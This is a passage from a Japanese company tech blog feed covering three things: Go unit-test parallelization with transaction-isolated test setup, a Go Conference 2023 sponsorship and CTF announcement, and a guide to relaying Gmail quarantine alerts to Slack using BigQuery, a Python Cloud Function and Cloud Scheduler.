href="https://d.hatena.ne.jp/keyword/%A5%ED%A1%BC%A5%EB%A5%D0%A5%C3%A5%AF">ロールバック</a></li> </ul> <p>テストケースごとの前後処理は、<code>TestSetup</code>という関数が担っています。この関数を各テストケースで呼び出すことにより、前後処理を仕込んでいます。</p> <p>以下は<a class="keyword" href="https://d.hatena.ne.jp/keyword/%B5%BC%BB%F7%A5%B3%A1%BC%A5%C9">擬似コード</a>ですが、大まかはこの例のようなイメージです。</p> <pre class="code lang-go" data-lang="go" data-unlink><span class="synStatement">func</span> TestSetupTx(t *testing.T) *sql.Tx { db, err := sql.Open(<span class="synConstant">&quot;txdb&quot;</span>, uuid.New().String()) <span class="synStatement">if</span> err != <span class="synStatement">nil</span> { t.Fatal(err) } tx, err := db.Begin() <span class="synStatement">if</span> err != <span class="synStatement">nil</span> { t.Fatal(err) } t.Cleanup(<span class="synType">func</span>() { <span class="synStatement">if</span> err := tx.Rollback(); err != <span class="synStatement">nil</span> { } <span class="synStatement">if</span> err := db.Close(); err != <span class="synStatement">nil</span> { t.Fatal(err) } }) <span class="synStatement">return</span> tx } </pre> <p>ここら辺は、<code>sql.DB</code>を満たすインターフェース設計や<code>pgtxdb</code>による<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%C8%A5%E9%A5%F3%A5%B6%A5%AF%A5%B7%A5%E7%A5%F3">トランザクション</a>イベントのモック化など<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%C8%A5%E9%A5%F3%A5%B6%A5%AF%A5%B7%A5%E7%A5%F3">トランザクション</a>分離を支える多くのトピックがあります。全てを紹介するとそれだけで別記事が書けるため、ここでは簡易な説明にとどめるのみとします。詳しくは弊社COO、achikuのGoCon JP 2018の登壇資料<sup id="fnref:4"><a href="#fn:4" rel="footnote">4</a></sup>を参考にしてください。</p> <h4 id="テスト処理">テスト処理</h4> <p>テスト本体の処理です。 </p> <ul> <li>シードデータの挿入(必要に応じて)</li> <li>テスト本体処理</li> </ul> <p><a class="keyword" href="https://d.hatena.ne.jp/keyword/SQL">SQL</a>を発行するテスト対象の関数は、必ず<code>database/sql.DB</code>が行うDB操作を抽象化したインターフェースを引数として受け取る<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%B7%A5%B0%A5%CD%A5%C1%A5%E3">シグネチャ</a>になっています。ここにテストケース前処理で行った<code>pgtxdb</code>のコネクションを流し込むことによって、並列実行時でも問題のない<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%C8%A5%E9%A5%F3%A5%B6%A5%AF%A5%B7%A5%E7%A5%F3">トランザクション</a>分離環境で<a class="keyword" href="https://d.hatena.ne.jp/keyword/SQL">SQL</a>が発行されます。</p> <pre class="code lang-go" data-lang="go" data-unlink><span class="synStatement">func</span> TestGetXXX(t *testing.T) { t.Run(<span class="synConstant">&quot;found&quot;</span>, <span class="synType">func</span>(t *testing.T) { <span class="synComment">// 前後処理</span> tx := TestSetupTx(t) <span class="synComment">// シードデータ作成</span> d := TestCreateXXXData(t, tx) <span class="synError"> </span> <span class="synComment">// テスト本体処理</span> res, err := GetXXX(tx, d.ID) assert.NoError(t, err) assert.Equal(t, u.ID, res.ID) }) } </pre> <h2 id="まとめ">まとめ</h2> <p>というわけで、Goの<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%E6%A5%CB%A5%C3%A5%C8%A5%C6%A5%B9%A5%C8">ユニットテスト</a>並行化についての導入・運用アプローチについて詳しく見てきましたが、いかがでしたでしょうか。 <a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%E6%A5%CB%A5%C3%A5%C8%A5%C6%A5%B9%A5%C8">ユニットテスト</a>を並行化することで、</p> <ul> <li><p><strong>テスト実行時間が早くなることによるリリースサイクルの高速化</strong></p></li> <li><p><strong>並列実行時の動作を担保することによるアプリケーションの頑健化</strong></p></li> </ul> <p>が期待できます。</p> <p>テストコードは増えれば増えるほどテストの実行時間も増加し、開発時間が大幅に割かれる可能性があります。テスト並行化の結果がたとえ1分1秒の短縮でも、将来的には大幅な効率改善につながるでしょう。</p> <p>また、ソフトウェアの頑健性向上にもテスト並行化は重要な役割を果たします。並列実行時に特有のバグは往々にして解決が難しく、本番環境にリリースしてからの発見や調査はさらに難しくなります。テスト対象のコードがマルチスレッド下の環境でバグを発生させる可能性がある場合、テストの並行化によって早期にその問題を把握できます。</p> <p>ただし、テスト並行化にも課題や落とし穴が存在します。重要なのは<strong>リリースサイクルの高速化やアプリケーションの頑健化が目的であり、テスト並行化はそのための手段である</strong>ということです。自分も陥りましたが、テスト並行化を導入・運用するために人力での並行化コードの埋め込みやチェックで貴重な人的リソースを浪費するのは本末転倒です。</p> <p>全てのテストを無闇に並行化するべきという主張ではありません。テスト並行化は、そのメリットとデメリットを理解し、チーム全体でその導入の是非を検討することが重要です。</p> <div class="footnotes"> <hr/> <ol> <li id="fn:1"> <a href="https://go.dev/blog/waza-talk">https://go.dev/blog/waza-talk</a><a href="#fnref:1" rev="footnote">&#8617;</a></li> <li id="fn:2"> <a href="https://zenn.dev/hsaki/books/golang-concurrency/viewer/term">https://zenn.dev/hsaki/books/golang-concurrency/viewer/term</a><a href="#fnref:2" rev="footnote">&#8617;</a></li> <li id="fn:3"> <a href="https://github.com/golang/go/wiki/TableDrivenTests">https://github.com/golang/go/wiki/TableDrivenTests</a><a href="#fnref:3" rev="footnote">&#8617;</a></li> <li id="fn:4"> <a href="https://speakerdeck.com/achiku/gocon-2018-how-we-go-test-with-rdbms">https://speakerdeck.com/achiku/gocon-2018-how-we-go-test-with-rdbms</a><a href="#fnref:4" rev="footnote">&#8617;</a></li> </ol> </div> sho-hata カンムは Go Conference 2023 にプラチナGoルドスポンサーとして協賛します hatenablog://entry/820878482935692993 2023-05-31T15:15:18+09:00 2023-05-31T15:46:51+09:00 カンムは 2023年6月2日 (金) 開催の Go Conference 2023 にプラチナGoルドスポンサーとして協賛します。 gocon.jp カンムが提供している バンドルカード や Pool のバックエンドは主に Go で開発しており、このイベントを通して Go コミュニティの発展に寄与できればと思っています。 team.kanmu.co.jp セッションに登壇します 今回の GoCon では、Pool のエンジニアである @sho_hata_ がセッションに登壇します! 以下スケジュールで登壇するので、ぜひご覧ください。 10:30 無理なく始めるGoでのユニットテストの並行化戦略… <p>カンムは 2023年6月2日 (金) 開催の Go Conference 2023 にプラチナGoルドスポンサーとして協賛します。</p> <p><iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fgocon.jp%2F2023%2F" title="Go Conference 2023" class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;" loading="lazy"></iframe><cite class="hatena-citation"><a href="https://gocon.jp/2023/">gocon.jp</a></cite></p> <p>カンムが提供している <a href="https://vandle.jp/">バンドルカード</a> や <a href="https://pool-card.jp/">Pool</a> のバックエンドは主に Go で開発しており、このイベントを通して Go コミュニティの発展に寄与できればと思っています。</p> <p><iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fteam.kanmu.co.jp%2F" title="カンムのチーム情報" class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;" loading="lazy"></iframe><cite class="hatena-citation"><a href="https://team.kanmu.co.jp/">team.kanmu.co.jp</a></cite></p> <h2 id="セッションに登壇します">セッションに登壇します</h2> <p>今回の GoCon では、<a href="https://pool-card.jp/">Pool</a> のエンジニアである <a href="https://twitter.com/sho_hata_">@sho_hata_</a> がセッションに登壇します! 以下スケジュールで登壇するので、ぜひご覧ください。</p> <p><strong>10:30 無理なく始めるGoでの<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%E6%A5%CB%A5%C3%A5%C8%A5%C6%A5%B9%A5%C8">ユニットテスト</a>の並行化戦略 <a href="https://twitter.com/sho_hata_">@sho_hata_</a></strong></p> <p><iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fgocon.jp%2F2023%2Fsessions%2FA2-SP%2F" title="無理なく始めるGoでのユニットテストの並行化戦略 | Go Conference 2023" class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;" loading="lazy"></iframe><cite class="hatena-citation"><a href="https://gocon.jp/2023/sessions/A2-SP/">gocon.jp</a></cite></p> <h2 id="オフィスアワーで-CTF-を開催します">オフィスアワーで CTF を開催します</h2> <p>イベント当日は reBako にてオフィスアワーを実施します。カンムのブースでは毎度恒例になりつつある CTF の出題をします。 お昼ごろに問題を公開予定ですので楽しみにしてください!</p> <p>また過去の出題も楽しいものばかりですのでご興味ある方はぜひ!</p> <ul> <li><a href="https://tech.kanmu.co.jp/entry/2021/04/25/092927">GoCon CTF &#x3068;&#x547C;&#x3070;&#x308C;&#x305F;&#x554F;&#x984C;&#x306E;&#x7D39;&#x4ECB;&#x3068;&#x89E3;&#x8AAC; - &#x30AB;&#x30F3;&#x30E0;&#x30C6;&#x30C3;&#x30AF;&#x30D6;&#x30ED;&#x30B0;</a></li> <li><a href="https://tech.kanmu.co.jp/entry/2021/11/13/183011">Go Conference 2021 Autumn CTF: Go 1.16.4 &#x306B;&#x542B;&#x307E;&#x308C;&#x308B;&#x8106;&#x5F31;&#x6027;&#x3092;&#x7A81;&#x3044;&#x3066;&#x30EA;&#x30D0;&#x30FC;&#x30B9;&#x30D7;&#x30ED;&#x30AD;&#x30B7;&#x3092;&#x7A81;&#x7834;&#x3059;&#x308B; - &#x30AB;&#x30F3;&#x30E0;&#x30C6;&#x30C3;&#x30AF;&#x30D6;&#x30ED;&#x30B0;</a></li> <li><a href="https://tech.kanmu.co.jp/entry/2022/05/17/113000">Go Conference 2022 Spring: &#x30AF;&#x30A4;&#x30BA; ISO 8583 Message Challange &#x306E;&#x7D39;&#x4ECB;&#x3068;&#x89E3;&#x8AAC; - &#x30AB;&#x30F3;&#x30E0;&#x30C6;&#x30C3;&#x30AF;&#x30D6;&#x30ED;&#x30B0;</a></li> </ul> <p>このほかにも</p> <ul> <li>カンムやバンドルカード・Pool について聞いてみたい!</li> <li>登壇していたエンジニアと話してみたい!</li> <li>Go についてわいわい話したい!</li> </ul> <p>などなども大歓迎です!ぜひ reBako のブースに遊びに来てみてください!</p> <h2 id="After-Party-もします">After Party もします</h2> <p>6月15日(木) 19:00から、スポンサー企業である「ミラティブ」「マネー<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%D5%A5%A9%A5%EF">フォワ</a>ード」「ナレッジワーク」「カンム」の4社によるGo同勉強会を開催します。 Goに関するLTとGo Conference<a class="keyword" href="https://d.hatena.ne.jp/keyword/%B4%B6%C1%DB%C0%EF">感想戦</a>などを行いますのでこちらもぜひぜひご参加ください。</p> <p><iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fkanmu.connpass.com%2Fevent%2F284979%2F" title="【Gophers Talk】スポンサー4社による合同LT &amp; カンファレンス感想戦 (2023/06/15 19:00〜)" class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;" loading="lazy"></iframe><cite class="hatena-citation"><a href="https://kanmu.connpass.com/event/284979/">kanmu.connpass.com</a></cite></p> <p>当日 <a class="keyword" href="https://d.hatena.ne.jp/keyword/Gopher">Gopher</a> のみなさんとお会いできることを楽しみにしております👋</p> kanmu-tech Gmail 管理者検疫に関するアラートをSlackへ通知させたい! hatenablog://entry/4207112889980519942 2023-05-01T12:10:14+09:00 2023-05-01T12:10:14+09:00 カンムでコーポレートエンジニアをやっているhikkyです。 今回セキュリティチームからの依頼で、GoogleWorkspace(以下GWS)の機能である 「高度なフィッシングと不正なソフトウェアへの対策」 という機能の一部を有効化しました。 しかしこの機能通知がメールのみのため、Slackへ通知させるということを行いました。 この時の内容をせっかくなので、ブログ記事にしてみます。 必要システム この手順を実施するためには以下のシステムが必要です。 GoogleWorkspace Enterpriseエディション以上 Slack有料プラン Google Cloud Cloud Functions… <p>カンムでコーポレートエンジニアをやっているhikkyです。</p> <p>今回セキュリティチームからの依頼で、GoogleWorkspace(以下GWS)の機能である 「<a href="https://support.google.com/a/answer/9157861?hl=ja#zippy=%2C%E3%81%AA%E3%82%8A%E3%81%99%E3%81%BE%E3%81%97%E3%81%A8%E8%AA%8D%E8%A8%BC%E3%81%AB%E5%AF%BE%E3%81%99%E3%82%8B%E4%BF%9D%E8%AD%B7%E6%A9%9F%E8%83%BD%E3%82%92%E6%9C%89%E5%8A%B9%E3%81%AB%E3%81%99%E3%82%8B">高度なフィッシングと不正なソフトウェアへの対策</a>」 という機能の一部を有効化しました。 しかしこの機能通知がメールのみのため、Slackへ通知させるということを行いました。<br/> この時の内容をせっかくなので、ブログ記事にしてみます。</p> <h2 id="必要システム">必要システム</h2> <p>この手順を実施するためには以下のシステムが必要です。</p> <ul> <li>GoogleWorkspace Enterpriseエディション以上</li> <li>Slack有料プラン</li> <li><a class="keyword" href="https://d.hatena.ne.jp/keyword/Google">Google</a> Cloud</li> <li>  Cloud Functions</li> <li>  Cloud Scheduler</li> <li>   BigQuery</li> <li>Python3</li> </ul> <h2 id="事前準備">事前準備</h2> <h3 id="Google-Cloud設定"><a class="keyword" href="https://d.hatena.ne.jp/keyword/Google">Google</a> Cloud設定</h3> <p>こちらのドキュメントを参考に、プロジェクトを設定します。 <iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fsupport.google.com%2Fa%2Fanswer%2F9082756%3Fhl%3Dja%26ref_topic%3D9079469" title="BigQuery プロジェクトをログレポート用に設定する - Google Workspace 管理者 ヘルプ" class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;" loading="lazy"></iframe><cite class="hatena-citation"><a href="https://support.google.com/a/answer/9082756?hl=ja&ref_topic=9079469">support.google.com</a></cite></p> <h3 id="GWSのログをBigQueryへエクスポート設定">GWSのログをBigQueryへエクスポート設定</h3> <p>GWSのプランがEnterprise以上の場合、GWSのログをBigQueryにエクスポートすることができます。<br/> 通常GWSのログは6ヶ月しか残すことができませんが、BigQueryにエクスポートすることで長期間ログの保存が可能になり、クエリでログを検索することができるようになります。</p> <ul> <li>GWS管理コンソールへアクセスします。</li> <li>「レポート」→「BigQuery Export」を開きます。 <span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/h/hikita/20230412/20230412140837.png" width="1200" height="294" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></li> <li>「<a class="keyword" href="https://d.hatena.ne.jp/keyword/Google">Google</a> BigQueryへの<a class="keyword" href="https://d.hatena.ne.jp/keyword/Google">Google</a> Workspaceデータのエクスポートを有効にします」にチェックを入れます。 <span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/h/hikita/20230412/20230412141733.png" width="1200" height="252" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></li> <li>事前に設定した、<a class="keyword" href="https://d.hatena.ne.jp/keyword/GCP">GCP</a>プロジェクトID、任意のデー<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%BF%A5%BB%A5%C3%A5%C8">タセット</a>名、ロケーション制限を設定し、【保存】をクリックします。 <span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/h/hikita/20230412/20230412141737.png" width="1200" height="700" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></li> </ul> <p>設定してから反映されるまでに、最大48時間かかることがあるため、しばらく待ちます。</p> <p>設定した<a class="keyword" href="https://d.hatena.ne.jp/keyword/GCP">GCP</a>プロジェクトのBigQueryを開き、デー<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%BF%A5%BB%A5%C3%A5%C8">タセット</a>が作成されたかを確認します。<br/> (ここでのデー<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%BF%A5%BB%A5%C3%A5%C8">タセット</a>名はgwslogです)<br/> デー<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%BF%A5%BB%A5%C3%A5%C8">タセット</a>下に、activityとusageが表示されていればOKです。<br/> ただしデータが実際に流れてくるまでに時間がかかることがあるようです。<br/> <span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/h/hikita/20230412/20230412142331.png" width="402" height="230" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <p>データが入ってきたかは、各テーブルでプレビューを表示させることで判断できます。 <span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/h/hikita/20230412/20230412142804.png" width="1150" height="412" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <h3 id="サンプルクエリの実行">サンプルクエリの実行</h3> <p>BigQueryにGWSログデータが流れてきたことが確認できたら、サンプルクエリを実行して確認してみます。<br/> <a href="https://support.google.com/a/answer/9079965">こちらのページ</a> にクエリ例が掲載されているので、試しに特権管理者の数を出力するクエリを実行してみます。</p> <pre class="code lang-sql" data-lang="sql" data-unlink><span class="synStatement">SELECT</span> <span class="synIdentifier">COUNT</span>(<span class="synStatement">DISTINCT</span> user_email) <span class="synSpecial">as</span> number_of_super_admins, <span class="synType">date</span> <span class="synSpecial">FROM</span> api_project_name.dataset_name.usage <span class="synSpecial">WHERE</span> accounts.is_super_admin = <span class="synSpecial">TRUE</span> <span class="synSpecial">GROUP</span> <span class="synSpecial">BY</span> <span class="synConstant">2</span> <span class="synSpecial">ORDER</span> <span class="synSpecial">BY</span> <span class="synConstant">2</span> <span class="synSpecial">DESC</span>; </pre> <p>以下のような結果が返ってきて、日付単位での増減がわかりますね。 <span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/h/hikita/20230412/20230412143557.png" width="728" height="618" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <h2 id="GWSメール検疫を設定する">GWSメール検疫を設定する</h2> <ul> <li>GWS管理コンソールへアクセスします。</li> <li>「アプリ」→「<a class="keyword" href="https://d.hatena.ne.jp/keyword/Google">Google</a> Workspace」→「<a class="keyword" href="https://d.hatena.ne.jp/keyword/Gmail">Gmail</a>」→「検疫の管理」を開きます。 <span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/h/hikita/20230412/20230412145041.png" width="1200" height="544" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></li> <li>【検疫の追加】をクリックします。 <span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/h/hikita/20230412/20230412145310.png" width="1200" height="432" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/h/hikita/20230412/20230412145310.png" width="1200" height="432" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span> 検疫されたメールを確認できるグループを指定したいので、Defaultを利用せず新しい検疫を追加します。 GWSでグループを作成し、検疫確認を実施するメンバーをグループに追加します。 【グループを管理】検疫確認を行うグループを設定します。 <span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/h/hikita/20230413/20230413172444.png" width="1200" height="1055" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></li> </ul> <p>「メールが検疫されたときに定期的に通知する」にチェックをつけて保存します。</p> <h2 id="BigQueryで検疫されたメールを出力する">BigQueryで検疫されたメールを出力する</h2> <p>当初以下のようなクエリで一覧が取得できると思ったのですが、処理容量が大きく、課金額も大きくなってしまうため、処理容量を減らす必要があります。</p> <pre class="code lang-sql" data-lang="sql" data-unlink><span class="synStatement">SELECT</span> TIMESTAMP_MICROS(gmail.event_info.timestamp_usec) <span class="synSpecial">as</span> <span class="synType">timestamp</span>, gmail.message_info.subject, gmail.message_info.source.address <span class="synSpecial">as</span> source, gmail.message_info.source.from_header_address <span class="synSpecial">as</span> st_address, gmail.message_info.source.from_header_displayname <span class="synSpecial">as</span> displayname, destination.address <span class="synSpecial">as</span> destination, gmail.message_info.rfc2822_message_id <span class="synSpecial">FROM</span> gwslog.activity d, d.gmail.message_info.destination <span class="synSpecial">WHERE</span> <span class="synStatement">EXISTS</span>(<span class="synStatement">SELECT</span> <span class="synConstant">1</span> <span class="synSpecial">FROM</span> d.gmail.message_info.triggered_rule_info ri, ri.consequence <span class="synSpecial">WHERE</span> consequence.action = <span class="synConstant">3</span>) <span class="synStatement">AND</span> TIMESTAMP_MICROS(gmail.event_info.timestamp_usec) &gt;= TIMESTAMP_SUB(<span class="synIdentifier">CURRENT_TIMESTAMP</span>(), INTERVAL <span class="synConstant">12</span> HOUR) <span class="synSpecial">ORDER</span> <span class="synSpecial">BY</span> <span class="synType">timestamp</span> <span class="synSpecial">DESC</span>; </pre> <p>必要なテーブルの詳細を確認すると、日分割テーブルとなっていました。 <span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/h/hikita/20230424/20230424101813.png" width="614" height="196" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <p>そのためリアルタイムでの通知は諦めて、一日一回の通知だけをさせる方針としました。 修正したクエリは以下です。</p> <pre class="code lang-sql" data-lang="sql" data-unlink><span class="synStatement">SELECT</span> FORMAT_TIMESTAMP(<span class="synSpecial">'</span><span class="synConstant">%Y-%m-%dT%H:%M:%S%z</span><span class="synSpecial">'</span>, TIMESTAMP_MICROS(gmail.event_info.timestamp_usec), <span class="synSpecial">'</span><span class="synConstant">Asia/Tokyo</span><span class="synSpecial">'</span>) <span class="synSpecial">as</span> <span class="synType">timestamp</span>, gmail.message_info.subject, gmail.message_info.source.address <span class="synSpecial">as</span> source, gmail.message_info.source.from_header_address <span class="synSpecial">as</span> source_address, gmail.message_info.source.from_header_displayname <span class="synSpecial">as</span> displayname, destination.address <span class="synSpecial">as</span> destination, gmail.message_info.rfc2822_message_id <span class="synSpecial">FROM</span> `{os.environ[<span class="synSpecial">&quot;</span><span class="synConstant">PROJECT_ID</span><span class="synSpecial">&quot;</span>]}.{os.environ[<span class="synSpecial">&quot;</span><span class="synConstant">DATASET_ID</span><span class="synSpecial">&quot;</span>]}.{os.environ[<span class="synSpecial">&quot;</span><span class="synConstant">TABLE_ID</span><span class="synSpecial">&quot;</span>]}`, UNNEST(gmail.message_info.destination) <span class="synSpecial">as</span> destination <span class="synSpecial">WHERE</span> _PARTITIONTIME = <span class="synType">TIMESTAMP</span>(TIMESTAMP_SUB(<span class="synIdentifier">CURRENT_DATE</span>(), INTERVAL <span class="synConstant">1</span> DAY)) <span class="synStatement">AND</span> <span class="synStatement">EXISTS</span> ( <span class="synStatement">SELECT</span> <span class="synConstant">1</span> <span class="synSpecial">FROM</span> UNNEST(gmail.message_info.triggered_rule_info) ri, UNNEST(ri.consequence) c <span class="synSpecial">WHERE</span> c.action = <span class="synConstant">3</span> ) </pre> <h2 id="Slackへ通知する">Slackへ通知する</h2> <h3 id="Cloud-Functionsの設定">Cloud Functionsの設定</h3> <p>以下のような<a class="keyword" href="https://d.hatena.ne.jp/keyword/python">python</a><a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%B9%A5%AF%A5%EA%A5%D7%A5%C8">スクリプト</a>を作成して、Cloud Functionsにデプロイします。</p> <pre class="code lang-python" data-lang="python" data-unlink><span class="synPreProc">import</span> os <span class="synPreProc">import</span> json <span class="synPreProc">import</span> requests <span class="synPreProc">from</span> google.cloud <span class="synPreProc">import</span> bigquery <span class="synPreProc">from</span> slack_sdk <span class="synPreProc">import</span> WebClient <span class="synPreProc">from</span> slack_sdk.errors <span class="synPreProc">import</span> SlackApiError <span class="synStatement">def</span> <span class="synIdentifier">query_to_slack</span>(request, context): <span class="synComment"># Create BigQuery client</span> client = bigquery.Client() <span class="synComment"># Define the query</span> query = f<span class="synConstant">&quot;&quot;&quot;</span> <span class="synConstant"> SELECT</span> <span class="synConstant"> FORMAT_TIMESTAMP('%Y-%m-%dT%H:%M:%S%z', TIMESTAMP_MICROS(gmail.event_info.timestamp_usec), 'Asia/Tokyo') as timestamp,</span> <span class="synConstant"> gmail.message_info.subject,</span> <span class="synConstant"> gmail.message_info.source.address as source,</span> <span class="synConstant"> gmail.message_info.source.from_header_address as source_address,</span> <span class="synConstant"> gmail.message_info.source.from_header_displayname as displayname,</span> <span class="synConstant"> destination.address as destination,</span> <span class="synConstant"> gmail.message_info.rfc2822_message_id</span> <span class="synConstant"> FROM </span> <span class="synConstant"> `{os.environ[&quot;PROJECT_ID&quot;]}.{os.environ[&quot;DATASET_ID&quot;]}.{os.environ[&quot;TABLE_ID&quot;]}`,</span> <span class="synConstant"> UNNEST(gmail.message_info.destination) as destination</span> <span class="synConstant"> WHERE </span> <span class="synConstant"> _PARTITIONTIME = TIMESTAMP(TIMESTAMP_SUB(CURRENT_DATE(), INTERVAL 1 DAY))</span> <span class="synConstant"> AND EXISTS (</span> <span class="synConstant"> SELECT 1</span> <span class="synConstant"> FROM UNNEST(gmail.message_info.triggered_rule_info) ri, UNNEST(ri.consequence) c</span> <span class="synConstant"> WHERE c.action = 3</span> <span class="synConstant"> )</span> <span class="synConstant"> &quot;&quot;&quot;</span> <span class="synComment"># Execute the query</span> query_job = client.query(query) results = query_job.result() <span class="synStatement">if</span> ( results.total_rows &gt; <span class="synConstant">0</span> ): <span class="synComment">#クエリ結果が1件以上あった場合にSlack通知</span> send_slack_notification(results) <span class="synStatement">def</span> <span class="synIdentifier">format_results</span>(results): blocks = [] blocks.append({ <span class="synConstant">&quot;type&quot;</span>: <span class="synConstant">&quot;section&quot;</span>, <span class="synConstant">&quot;text&quot;</span>: { <span class="synConstant">&quot;type&quot;</span>: <span class="synConstant">&quot;mrkdwn&quot;</span>, <span class="synConstant">&quot;text&quot;</span>: <span class="synConstant">&quot;検疫されたメールがあります。</span><span class="synSpecial">\n</span><span class="synConstant">&quot;</span> } }) <span class="synStatement">for</span> result <span class="synStatement">in</span> results: blocks.append({ <span class="synConstant">&quot;type&quot;</span>: <span class="synConstant">&quot;section&quot;</span>, <span class="synConstant">&quot;fields&quot;</span>: [ { <span class="synConstant">&quot;type&quot;</span>: <span class="synConstant">&quot;mrkdwn&quot;</span>, <span class="synConstant">&quot;text&quot;</span>: f<span class="synConstant">&quot;*Timestamp:*</span><span class="synSpecial">\n</span><span class="synConstant">{result['timestamp']}&quot;</span> }, { <span class="synConstant">&quot;type&quot;</span>: <span class="synConstant">&quot;mrkdwn&quot;</span>, <span class="synConstant">&quot;text&quot;</span>: f<span class="synConstant">&quot;*Subject:*</span><span class="synSpecial">\n</span><span class="synConstant">{result['subject']}&quot;</span> }, { <span class="synConstant">&quot;type&quot;</span>: <span class="synConstant">&quot;mrkdwn&quot;</span>, <span class="synConstant">&quot;text&quot;</span>: f<span class="synConstant">&quot;*Source:*</span><span class="synSpecial">\n</span><span class="synConstant">{result['source']}&quot;</span> }, { <span class="synConstant">&quot;type&quot;</span>: <span class="synConstant">&quot;mrkdwn&quot;</span>, <span class="synConstant">&quot;text&quot;</span>: f<span class="synConstant">&quot;*Source Address:*</span><span class="synSpecial">\n</span><span class="synConstant">{result['source_address']}&quot;</span> }, { <span class="synConstant">&quot;type&quot;</span>: <span class="synConstant">&quot;mrkdwn&quot;</span>, <span class="synConstant">&quot;text&quot;</span>: f<span class="synConstant">&quot;*Display Name:*</span><span class="synSpecial">\n</span><span class="synConstant">{result['displayname']}&quot;</span> }, { <span class="synConstant">&quot;type&quot;</span>: <span class="synConstant">&quot;mrkdwn&quot;</span>, <span class="synConstant">&quot;text&quot;</span>: f<span class="synConstant">&quot;*Destination:*</span><span class="synSpecial">\n</span><span class="synConstant">{result['destination']}&quot;</span> }, { <span class="synConstant">&quot;type&quot;</span>: <span class="synConstant">&quot;mrkdwn&quot;</span>, <span class="synConstant">&quot;text&quot;</span>: f<span class="synConstant">&quot;*Message ID:*</span><span class="synSpecial">\n</span><span class="synConstant">{result['rfc2822_message_id']}&quot;</span> } ] }) blocks.append({ <span class="synConstant">&quot;type&quot;</span>: <span class="synConstant">&quot;divider&quot;</span> }) <span class="synStatement">return</span> blocks <span class="synStatement">def</span> <span class="synIdentifier">send_slack_notification</span>(results): client = WebClient(token=os.environ[<span class="synConstant">'SLACK_API_TOKEN'</span>]) <span class="synStatement">try</span>: response = client.chat_postMessage( channel=<span class="synConstant">&quot;#nf-quarantined&quot;</span>, text=<span class="synConstant">&quot;Quarantined Email Notification&quot;</span>, blocks=format_results(results) ) <span class="synStatement">except</span> SlackApiError <span class="synStatement">as</span> e: <span class="synIdentifier">print</span>(f<span class="synConstant">&quot;Error sending message: {e}&quot;</span>) </pre> <h3 id="Cloud-Schedulerを利用して定期実行させる">Cloud Schedulerを利用して定期実行させる</h3> <p>以下のドキュメントを参考に、Cloud Schedulerを利用して一日一回定期実行するように設定します。 <iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fcloud.google.com%2Fscheduler%2Fdocs%2Ftut-pub-sub%3Fhl%3Dja" title="Pub/Sub を使用して Cloud ファンクションをトリガーする  |  Cloud Scheduler のドキュメント  |  Google Cloud" class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;" loading="lazy"></iframe><cite class="hatena-citation"><a href="https://cloud.google.com/scheduler/docs/tut-pub-sub?hl=ja">cloud.google.com</a></cite></p> <h2 id="実行結果の確認">実行結果の確認</h2> <p>検疫メールがある場合に、指定した時間になると以下のようなSlack通知がきます。 <span itemscope itemtype="http://schema.org/Photograph"><img 